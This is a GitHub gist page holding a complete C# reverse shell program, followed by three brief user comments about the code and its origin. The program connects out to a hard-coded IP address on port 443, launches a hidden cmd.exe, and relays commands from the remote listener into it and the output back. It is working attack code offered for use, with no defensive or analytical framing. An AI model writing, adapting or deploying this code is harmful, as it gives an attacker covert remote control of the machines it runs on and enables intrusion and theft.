Skip to content

Instantly share code, notes, and snippets.

@BankSecurity
Last active February 8, 2024 19:15
Show Gist options
  • Star 92 You must be signed in to star a gist
  • Fork 74 You must be signed in to fork a gist
  • Save BankSecurity/55faad0d0c4259c623147db79b2a83cc to your computer and use it in GitHub Desktop.
Save BankSecurity/55faad0d0c4259c623147db79b2a83cc to your computer and use it in GitHub Desktop.
C# Simple Reverse Shell Code
using System;
using System.Text;
using System.IO;
using System.Diagnostics;
using System.ComponentModel;
using System.Linq;
using System.Net;
using System.Net.Sockets;
namespace ConnectBack
{
public class Program
{
static StreamWriter streamWriter;
public static void Main(string[] args)
{
using(TcpClient client = new TcpClient("10.0.2.15", 443))
{
using(Stream stream = client.GetStream())
{
using(StreamReader rdr = new StreamReader(stream))
{
streamWriter = new StreamWriter(stream);
StringBuilder strInput = new StringBuilder();
Process p = new Process();
p.StartInfo.FileName = "cmd.exe";
p.StartInfo.CreateNoWindow = true;
p.StartInfo.UseShellExecute = false;
p.StartInfo.RedirectStandardOutput = true;
p.StartInfo.RedirectStandardInput = true;
p.StartInfo.RedirectStandardError = true;
p.OutputDataReceived += new DataReceivedEventHandler(CmdOutputDataHandler);
p.Start();
p.BeginOutputReadLine();
while(true)
{
strInput.Append(rdr.ReadLine());
//strInput.Append("\n");
p.StandardInput.WriteLine(strInput);
strInput.Remove(0, strInput.Length);
}
}
}
}
}
private static void CmdOutputDataHandler(object sendingProcess, DataReceivedEventArgs outLine)
{
StringBuilder strOutput = new StringBuilder();
if (!String.IsNullOrEmpty(outLine.Data))
{
try
{
strOutput.Append(outLine.Data);
streamWriter.WriteLine(strOutput);
streamWriter.Flush();
}
catch (Exception err) { }
}
}
}
}
@123bless
Copy link

using(StreamReader rdr = new StreamReader(stream))

@Hydr0Z-z
Copy link

namespace must match filename

@CaptShiva007
Copy link

Dude just copy pasted from revshells.com And didn't even care about the filename

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment